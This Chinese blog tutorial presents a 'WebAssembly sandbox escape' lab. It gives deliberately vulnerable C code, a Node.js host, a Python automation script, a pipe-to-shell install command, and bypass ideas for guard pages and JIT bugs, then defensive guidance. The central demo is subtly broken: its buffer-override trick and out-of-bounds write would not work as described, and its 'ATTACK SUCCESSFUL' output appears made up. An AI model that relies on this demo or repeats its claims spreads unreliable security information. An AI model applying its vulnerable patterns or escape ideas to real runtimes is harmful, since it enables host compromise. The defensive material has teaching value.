跳到主要内容 WebAssembly 运行时沙箱逃逸与内存安全实战 | 极客日志
编程语言 Node.js
WebAssembly 运行时沙箱逃逸与内存安全实战 研究了 WebAssembly (WASM) 运行时的沙箱逃逸风险与内存安全问题。WASM 通过线性内存隔离和受控宿主接口提供安全性,但宿主环境配置不当可能导致边界检查失效。文章演示了利用共享内存逻辑缺陷篡改宿主内存的攻击方法,包括 C 语言漏洞代码编写、Node.js 宿主模拟及自动化脚本。防御策略强调严格校验指针长度、遵循最小权限原则、更新运行时及使用内存安全语言。核心在于审计“胶水代码”中的内存交互逻辑,防止越界访问导致的安全威胁。
编程诗人 发布于 2026/4/5 更新于 2026/4/13 0 浏览WebAssembly (WASM) 运行时沙箱逃逸与内存安全实战
前言
1. 技术背景
在现代攻防体系中,WebAssembly (WASM) 正迅速成为一个新的攻击与防御焦点。它最初被设计为浏览器内的高性能代码执行引擎,如今已广泛应用于服务端(如云原生、边缘计算)、物联网(IoT)和区块链等领域。WASM 提供了一个接近原生速度、跨平台的沙箱环境,这使得它成为隔离不可信代码的理想选择。然而,任何沙箱技术都面临着'逃逸'的风险。一旦攻击者成功从 WASM 沙箱中逃逸,他们便可能在宿主环境(Host Environment)中执行任意代码,构成严重的安全威胁。因此,理解 WASM 的沙箱机制、攻击向量和防御策略,是现代网络安全攻防不可或缺的一环。
2. 学习价值 掌握 WASM 的沙箱逃逸与内存安全知识,能解决以下关键问题:
对于攻击方 :能够审计和利用 WASM 应用中的漏洞,发现新的攻击面,尤其是在云原生和边缘计算等前沿领域。
对于防御方 :能够构建更安全的 WASM 应用,正确配置和加固 WASM 运行时,理解潜在威胁并设计有效的检测和缓解措施。
对于开发者 :能够编写出健壮、安全的 WASM 模块,避免常见的内存安全陷阱,从源头上杜绝漏洞。
3. 使用场景
云原生应用 :在 Service Mesh(如 Istio)、Serverless 函数(如 Cloudflare Workers)中,WASM 被用来安全地执行用户提供的插件或逻辑。
浏览器插件与扩展 :替代 JavaScript,用于需要高性能计算的浏览器内应用,如游戏、视频编辑等,其安全性直接关系到用户浏览器安全。
边缘计算节点 :在 CDN 边缘节点上执行自定义逻辑,隔离不同租户的代码。
区块链智能合约 :作为新一代智能合约的执行引擎,其内存安全和确定性至关重要。
一、WebAssembly (WASM) 是什么
1. 精确定义 WebAssembly (WASM) 是一种为现代 Web 浏览器设计的、可移植的、体积和加载时间高效的二进制指令格式。它旨在作为编程语言(如 C/C++/Rust)的编译目标,使其能够在 Web 上以接近原生的速度运行。WASM 在一个完全隔离的沙箱 环境中执行,该环境具有严格定义的内存模型和受控的宿主 API 访问权限。
2. 一个通俗类比 您可以将 WASM 想象成一个'安全的集装箱'。您可以在这个集装箱里运行高性能的程序(比如用 C++ 写的复杂算法),但这个程序默认无法看到或接触到集装箱外的任何东西(宿主操作系统的文件、网络等)。它只能通过集装箱上预留的几个'小窗口'(导入/导出函数)与外界(宿主环境,如浏览器或 Node.js)进行有限且受控的通信。沙箱逃逸就相当于在这个集装箱上打一个洞,直接访问外面的世界。
3. 实际用途
Web 端高性能计算 :在线游戏引擎(如 Unity、Unreal Engine)、音视频处理、密码学计算。
服务端安全插件系统 :Envoy 代理、数据库(如 PostgreSQL)允许用户通过 WASM 扩展功能。
跨平台代码复用 :将一套核心业务逻辑(如图像处理库)编译成 WASM,在 Web、移动端和桌面端复用。
FaaS(函数即服务) :提供比传统容器更轻量、启动更快的代码执行环境。
4. 技术本质说明 WASM 的技术本质是一个基于栈式虚拟机的指令集架构(ISA)。它的安全性主要依赖于两大核心机制:
内存隔离 :每个 WASM 模块实例都在一个独立的、连续的线性内存(Linear Memory)数组中运行 。这是一个由 WASM 运行时管理的 ArrayBuffer。WASM 代码只能通过 load 和 store 指令访问这块内存,并且所有内存访问都会被运行时进行边界检查。任何试图访问线性内存范围之外地址的操作都会触发一个运行时异常(trap),从而终止模块执行。这种机制从根本上杜绝了传统二进制程序中常见的缓冲区溢出攻击。
受控的接口 :WASM 模块本身无法直接调用任何系统 API(如文件 I/O、网络请求)。它必须通过导入(import)宿主环境提供的函数来与外部世界交互。这种基于能力的模型(Capability-based Security)意味着 WASM 模块的权限在实例化时就被明确限定,它只能做宿主允许它做的事情。
下图清晰地展示了 WASM 的沙箱架构和与宿主环境的交互流程:
[Host Environment]
|
+-- [WASM Runtime] (Manages & Bounds Check)
|
+-- [WASM Instance] (Contains Linear Memory, Import/Export Table)
|
+-- [WASM Code Binary]
+-- [Imported Host Functions] (e.g., console.log, fetch)
+-- [Exported WASM Function]
这张图清晰地展示了 WASM 实例被宿主环境中的运行时所包裹。WASM 代码只能在自己的线性内存中操作,并且与外部的通信完全依赖于导入/导出的函数,这些函数由宿主环境严格控制。
二、环境准备 为了复现 WASM 内存安全相关的实验,我们将使用 wasmer 作为服务端运行时,并使用 C 语言和 wasi-sdk 来编译 WASM 模块。
1. 工具版本
Wasmer : 4.2.5 (一个流行的多语言 WASM 运行时)
wasi-sdk : 20.0 (用于将 C/C++ 编译到 WASM32-wasi)
Clang : 16.0 (包含在 wasi-sdk 中)
Docker : 20.10+ (可选,用于提供一个隔离且一致的编译环境)
2. 下载方式 下载 wasi-sdk :
访问 wasi-sdk 的 GitHub Releases 页面 (https://github.com/WebAssembly/wasi-sdk/releases) 下载对应您操作系统的 wasi-sdk-20.0-linux.tar.gz 或类似文件。
wget https://github.com/WebAssembly/wasi-sdk/releases/download/wasi-sdk-20/wasi-sdk-20.0-linux.tar.gz
tar -xzf wasi-sdk-20.0-linux.tar.gz
curl https://get.wasmer.io -sSfL | sh
3. 核心配置命令 为了方便使用,建议将 wasi-sdk 的路径添加到环境变量中。假设您解压到了 /opt/wasi-sdk-20.0。
export WASI_SDK_PATH=/opt/wasi-sdk-20.0
export PATH=$WASI_SDK_PATH /bin:$PATH
您可以将上述命令添加到您的 .bashrc 或 .zshrc 文件中以永久生效。
4. 可运行环境命令或 Docker 为了确保环境一致性,强烈推荐使用 Docker。以下是一个 Dockerfile 示例,它将打包所有必要的工具。
# Dockerfile for WASM Security Lab
FROM ubuntu:22.04
# 避免交互式安装
ENV DEBIAN_FRONTEND=noninteractive
# 安装基础依赖
RUN apt-get update && apt-get install -y \
curl \
wget \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# 安装 Wasmer
RUN curl https://get.wasmer.io -sSfL | sh
# 安装 wasi-sdk
ENV WASI_SDK_VERSION=20.0
ENV WASI_SDK_TAR=wasi-sdk-${WASI_SDK_VERSION}-linux.tar.gz
RUN wget https://github.com/WebAssembly/wasi-sdk/releases/download/wasi-sdk-${WASI_SDK_VERSION%.*}/${WASI_SDK_TAR} && \
tar -xzf ${WASI_SDK_TAR} -C /opt && \
rm ${WASI_SDK_TAR}
# 配置环境变量
ENV WASI_SDK_PATH=/opt/wasi-sdk-${WASI_SDK_VERSION}
ENV PATH="${WASI_SDK_PATH}/bin:${PATH}:/root/.wasmer/bin"
# 设置工作目录
WORKDIR /app
# 启动一个交互式 shell
CMD ["/bin/bash"]
docker build -t wasm-sec-lab .
docker run -it --rm --name wasm-lab wasm-sec-lab
现在,您在容器内就拥有了一个包含所有工具的、可随时进行实验的环境。
三、核心实战:利用线性内存缺陷 本节将演示一个经典的 WASM 内存安全问题:即使 WASM 本身有边界检查,但如果宿主与 WASM 模块共享内存的逻辑存在缺陷 ,攻击者依然可以实现读写宿主内存,从而可能导致沙箱逃逸。
攻击场景 :一个宿主应用(例如,一个 Node.js 服务器)加载了一个 WASM 模块来处理图像。为了性能,宿主直接将自己的内存缓冲区(Buffer)暴露给 WASM 模块作为其线性内存。如果宿主在计算 WASM 所需内存大小时出现错误,就可能产生漏洞。
1. 漏洞代码 (C 语言) 我们将编写一个简单的 C 程序,它接收一个偏移量和一个值,然后将该值写入到内存的指定位置。
#include <stdio.h>
#include <stdlib.h>
void write_value (int offset, int value) {
int * p = (int *)((char *)0 + offset);
printf ("[WASM] Writing value %d to offset %d\n" , value, offset);
*p = value;
}
2. 编译为 WASM 使用 wasi-sdk 中的 clang 将上述 C 代码编译成 WASM 模块。
clang \
--target=wasm32 \
-O3 \
--no-standard-files \
-Wl,--export-all \
-Wl,--no-entry \
-o vuln.wasm \
vuln.c
3. 漏洞宿主环境 (Node.js) 现在,我们创建一个 Node.js 脚本来模拟存在漏洞的宿主。这个宿主会错误地将自己的内存共享给 WASM。
const fs = require ('fs' );
const { WASI } = require ('wasi' );
const wasmer = require ('@wasmer/wasi' );
const hostSecret = {
apiKey : "SECRET_API_KEY_12345" ,
value : 42
};
console .log ("[Host] Initial secret object:" , hostSecret);
async function main ( ) {
try {
const wasmBytes = fs.readFileSync ('./vuln.wasm' );
const totalHostBufferSize = 128 * 1024 ;
const hostBuffer = Buffer .alloc (totalHostBufferSize);
const secretOffset = 65540 ;
hostBuffer.writeInt32LE (hostSecret.value , secretOffset);
console .log (`[Host] Placed secret value ${hostSecret.value} at offset ${secretOffset} in host buffer.` );
const memoryForWasm = new WebAssembly .Memory ({ initial : 1 });
const module = await WebAssembly .compile (wasmBytes);
const instance = await WebAssembly .instantiate (module , {
env : {
memory : memoryForWasm
}
});
Object .defineProperty (memoryForWasm, 'buffer' , {
get : () => hostBuffer
});
const { write_value } = instance.exports ;
console .log ("\n--- Step 1: Normal Write (within bounds) ---" );
write_value (100 , 999 );
console .log (`[Host] Value at offset 100 in host buffer: ${hostBuffer.readInt32LE(100 )} ` );
const attackOffset = secretOffset;
const attackValue = 7777777 ;
console .log (`\n--- Step 2: Attack Write (out of bounds) ---` );
console .log (`[Attack] Attempting to write ${attackValue} to offset ${attackOffset} ...` );
try {
write_value (attackOffset, attackValue);
const tamperedValue = hostBuffer.readInt32LE (secretOffset);
console .log (`[Host] Value at secret offset ${secretOffset} is now: ${tamperedValue} ` );
if (tamperedValue === attackValue) {
console .error ("\n[!!!] ATTACK SUCCESSFUL: Host memory has been corrupted!" );
hostSecret.value = tamperedValue;
console .log ("[Host] Final secret object:" , hostSecret);
} else {
console .log ("[Host] Host memory seems unaffected." );
}
} catch (e) {
console .error ("\n[!!!] ATTACK FAILED: WASM runtime trapped the out-of-bounds access." , e.message );
}
} catch (error) {
console .error ("An error occurred:" , error);
process.exit (1 );
}
}
main ();
注意 :这个 host.js 为了清晰地演示原理,做了一些简化。在真实世界中,内存共享的漏洞可能更隐蔽,例如通过一个自定义的宿主函数,该函数接收 WASM 传来的指针和长度,但在操作宿主内存时没有严格验证这些参数是否在 WASM 的线性内存边界内。
4. 运行与结果 首先,确保您已安装 Node.js 及 @wasmer/wasi 包。
npm init -y
npm install @wasmer/wasi
[Host] Initial secret object: { apiKey: 'SECRET_API_KEY_12345' , value : 42 }
[Host] Placed secret value 42 at offset 65540 in host buffer.
[WASM] Writing value 999 to offset 100
[Host] Value at offset 100 in host buffer: 999
[Attack] Attempting to write 7777777 to offset 65540. ..
[WASM] Writing value 7777777 to offset 65540
[Host] Value at secret offset 65540 is now: 7777777
[! ! ! ] ATTACK SUCCESSFUL: Host memory has been corrupted!
[Host] Final secret object: { apiKey: 'SECRET_API_KEY_12345' , value : 7777777 }
从结果可以看出,我们成功地通过调用一个看似'安全'的 WASM 函数,篡改了 WASM 沙箱之外的宿主内存。这是典型的因宿主与沙箱交互逻辑不当而导致的沙箱逃逸 。
5. 自动化攻击脚本 以下是一个 Python 脚本,用于自动化地编译 WASM 并运行 Node.js 宿主,检查攻击是否成功。
import subprocess
import os
import sys
WASI_SDK_PATH = os.getenv("WASI_SDK_PATH" , "/opt/wasi-sdk-20.0" )
C_FILE = "vuln.c"
WASM_FILE = "vuln.wasm"
HOST_FILE = "host.js"
def print_info (message ):
print (f"[INFO] {message} " )
def print_success (message ):
print (f"\033[92m[SUCCESS] {message} \033[0m" )
def print_error (message ):
print (f"\033[91m[ERROR] {message} \033[0m" , file=sys.stderr)
def run_command (command, description ):
"""执行一个 shell 命令并处理错误"""
print_info(f"Executing: {description} " )
print_info(f"Command: {' ' .join(command)} " )
try :
result = subprocess.run(
command,
check=True ,
capture_output=True ,
text=True
)
if result.stdout:
print (result.stdout)
if result.stderr:
print (result.stderr, file=sys.stderr)
return True
except FileNotFoundError:
print_error(f"Command not found: {command[0 ]} . Is it in your PATH?" )
return False
except subprocess.CalledProcessError as e:
print_error(f"Failed to execute '{description} '." )
print_error(f"Return code: {e.returncode} " )
if e.stdout:
print_error(f"STDOUT:\n{e.stdout} " )
if e.stderr:
print_error(f"STDERR:\n{e.stderr} " )
return False
except Exception as e:
print_error(f"An unexpected error occurred: {e} " )
return False
def main ():
"""
自动化攻击流程:
1. 检查依赖
2. 编译 C 代码到 WASM
3. 运行 Node.js 宿主
4. 检查攻击结果
"""
print_info("--- WASM Sandbox Escape Automation Script ---" )
print_info("WARNING: This script is for authorized security testing ONLY." )
clang_path = os.path.join(WASI_SDK_PATH, "bin" , "clang" )
if not os.path.exists(clang_path):
print_error(f"Clang not found at {clang_path} . Is WASI_SDK_PATH correct?" )
sys.exit(1 )
compile_command = [
clang_path,
"--target=wasm32" ,
"-O3" ,
"--no-standard-files" ,
"-Wl,--export-all" ,
"-Wl,--no-entry" ,
"-o" ,
WASM_FILE,
C_FILE
]
if not run_command(compile_command, "Compile C to WASM" ):
sys.exit(1 )
print_success(f"WASM module '{WASM_FILE} ' compiled successfully." )
print_info(f"Running Node.js host '{HOST_FILE} '..." )
try :
result = subprocess.run(["node" , HOST_FILE], capture_output=True , text=True , check=True )
output = result.stdout
print (output)
if "ATTACK SUCCESSFUL" in output:
print_success("Attack simulation completed. Host memory was corrupted as expected." )
elif "ATTACK FAILED" in output:
print_error("Attack simulation failed. The runtime correctly trapped the access." )
else :
print_error("Attack result is inconclusive. Check the output above." )
except subprocess.CalledProcessError as e:
print_error(f"Node.js host script failed to run." )
print_error(f"Return code: {e.returncode} " )
print_error(f"STDOUT:\n{e.stdout} " )
print_error(f"STDERR:\n{e.stderr} " )
sys.exit(1 )
except FileNotFoundError:
print_error("`node` command not found. Is Node.js installed and in your PATH?" )
sys.exit(1 )
if __name__ == "__main__" :
main()
这个脚本使整个攻击流程一键化,便于重复测试和验证。
四、进阶技巧
1. 常见错误
混淆 WASM 内存与宿主内存 :新手最常犯的错误是认为 WASM 的指针可以直接在宿主环境解引用。WASM 的指针(通常是 i32 类型)是其线性内存的偏移量,必须由宿主代码转换后才能安全地访问共享内存区域。
不正确的边界检查 :在宿主函数中接收来自 WASM 的指针和长度时,仅检查 pointer + length 是否溢出是不够的,还必须检查它是否仍在 WASM 实例授权的线性内存范围内。
依赖 WASM 内部的安全性 :过度信任 WASM 模块不会产生恶意行为。即使 WASM 代码本身没有漏洞,攻击者也可以通过精心构造的输入参数来利用宿主端的逻辑缺陷。
2. 性能 / 成功率优化
内存布局探测(Memory Layout Probing) :在更复杂的场景中,攻击者不知道敏感数据在宿主内存中的确切位置。可以通过'写 - 崩溃 - 重启'或'写 - 读'的方式,逐步探测宿主的内存布局。例如,从 WASM 内存边界外 1 字节开始写入特定标记,然后通过另一个 WASM 函数或宿主 API 检查该标记是否存在,从而定位可写区域。
利用宿主函数 :寻找那些接收指针和长度作为参数的宿主导入函数。这些是攻击的黄金目标。例如,一个 log_message(char* ptr, int len) 函数,如果其实现只是简单地从 ptr 开始读取 len 个字节,那么传入一个指向 WASM 内存边界外的 ptr 就可能读取到宿主内存。
3. 实战经验总结
漏洞根源在宿主 :绝大多数 WASM 沙箱逃逸漏洞的根源不在 WASM 规范或运行时本身,而在于宿主环境与 WASM 模块之间的'胶水代码'(glue code)。审计的重点应放在内存共享、指针传递和权限授予的逻辑上。
关注多线程 :在多线程 WASM 环境中(WASM Threads),共享内存(SharedArrayBuffer)的引入带来了新的攻击面,如竞态条件(Race Conditions)。攻击者可能利用时间差来绕过检查或修改正在被其他线程使用的数据。
运行时本身的漏洞 :虽然少见,但 WASM 运行时(如 V8, Wasmer, Wasmtime)的 JIT 编译器或解释器也可能存在漏洞。这些漏洞通常更严重,可以直接导致在宿主上执行任意代码。关注 CVE 公告和运行时更新至关重要。
4. 对抗 / 绕过思路
绕过 Canary/Guard Pages :现代 WASM 运行时通常在线性内存的末尾放置一个或多个'保护页'(Guard Pages)。任何对这些页的访问都会立即触发硬件异常。绕过思路包括:
寻找不通过线性内存访问,而是通过有漏洞的宿主函数直接写入内存的途径。
利用运行时 JIT 编译器的漏洞,生成能跳过边界检查的机器码。
攻击非内存目标 :沙箱逃逸不一定非要读写内存。如果能诱导宿主执行某些高权限操作,例如通过有漏洞的宿主函数删除任意文件或发起网络请求,也属于成功的逃逸。这被称为逻辑逃逸。
五、注意事项与防御
1. 错误写法 vs 正确写法 场景 :宿主提供一个函数 read_data_from_wasm,用于读取 WASM 内存中的数据。
function read_data_from_wasm (wasm_instance, ptr, len ) {
const memory = wasm_instance.exports .memory ;
const slice = new Uint8Array (memory.buffer , ptr, len);
return slice;
}
function read_data_from_wasm (wasm_instance, ptr, len ) {
const memory = wasm_instance.exports .memory ;
const memory_size = memory.buffer .byteLength ;
if (ptr < 0 || len < 0 ) {
throw new Error ("Pointer and length must be non-negative." );
}
if (ptr >= memory_size) {
throw new Error ("Pointer is out of bounds." );
}
if (ptr + len > memory_size) {
throw new Error ("Read operation would go out of bounds." );
}
const slice = new Uint8Array (memory.buffer , ptr, len);
return slice;
}
2. 风险提示
最小权限原则 :只授予 WASM 模块完成其任务所必需的宿主函数。不要导入整个 fs 或 net 模块。
内存隔离是关键 :尽可能避免 WASM 模块与宿主共享可写内存。如果必须共享,请使用上文提到的正确写法来严格校验所有访问。
保持运行时更新 :定期更新您的 WASM 运行时(Wasmer, Wasmtime, V8 等),以获取最新的安全补丁。
3. 开发侧安全代码范式
使用内存安全的语言 :使用 Rust 等内存安全的语言来编写 WASM 模块和宿主'胶水代码'。Rust 的借用检查器(Borrow Checker)可以在编译时消除许多与内存相关的漏洞。
接口定义清晰化 :在设计 WASM 与宿主的接口时,避免直接传递裸指针。可以考虑使用句柄(Handle)或 ID,由宿主来管理实际的内存对象。
代码审查 :对所有处理 WASM 交互的'胶水代码'进行严格的安全审查,特别是涉及内存指针和长度计算的部分。
4. 运维侧加固方案
使用最新的 WASM 运行时 :确保生产环境中的运行时是最新稳定版。
资源限制 :配置 WASM 运行时以限制每个实例可以使用的最大内存、CPU 时间和执行步数。这可以缓解拒绝服务(DoS)攻击。
系统调用过滤 :在使用 WASI 时,可以配置运行时允许或禁止特定的系统调用。例如,一个只进行计算的模块不应该有文件系统访问权限。
沙箱嵌套 :将整个 WASM 运行时(如 Node.js + Wasmer)再放入一个更强的沙箱中,如 gVisor、Firecracker 或传统的 Docker 容器,作为第二层防御。
5. 日志检测线索
WASM Trap/异常 :监控并告警 WASM 运行时的 trap 事件。频繁的 unreachable 或 memory access out of bounds 异常可能表示有人在进行模糊测试或探测攻击。
异常的函数调用序列 :记录 WASM 模块对宿主函数的调用。如果一个模块在短时间内以异常的参数(如超大长度、负数偏移)频繁调用某个敏感的宿主函数,这可能是攻击的前兆。
资源消耗异常 :监控 WASM 实例的内存或 CPU 使用情况。突然的、非预期的资源飙升可能意味着模块内存在无限循环或内存泄漏,这是一种潜在的 DoS 攻击。
总结
核心知识 :WASM 的安全性依赖于线性内存隔离 和受控的宿主接口 。绝大多数沙箱逃逸漏洞发生在宿主与 WASM 交互的'胶水代码'中,而非 WASM 本身。
使用场景 :从浏览器到云原生,WASM 正成为隔离不可信代码的标准。理解其安全模型对于保护这些新兴应用至关重要。
防御要点 :防御的核心在于严格校验 所有跨越沙箱边界的数据,特别是指针和长度。始终遵循最小权限原则 ,并保持运行时更新。
知识体系连接 :WASM 安全是传统二进制安全(如缓冲区溢出)、Web 安全(如浏览器沙箱)和云原生安全(如容器隔离)的交叉领域。掌握 WASM 安全能让您的知识体系更加完整。
进阶方向 :深入研究特定 WASM 运行时的 JIT 编译器漏洞、多线程 WASM 的竞态条件攻击,以及利用静态和动态分析工具自动化地发现 WASM 供应链中的漏洞。
微信扫一扫,关注极客日志 微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
相关免费在线工具 Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown 转 HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML 转 Markdown 互为补充。 在线工具,Markdown 转 HTML在线工具,online
HTML 转 Markdown 将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML 转 Markdown在线工具,online
JSON 压缩 通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online
JSON美化和格式化 将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online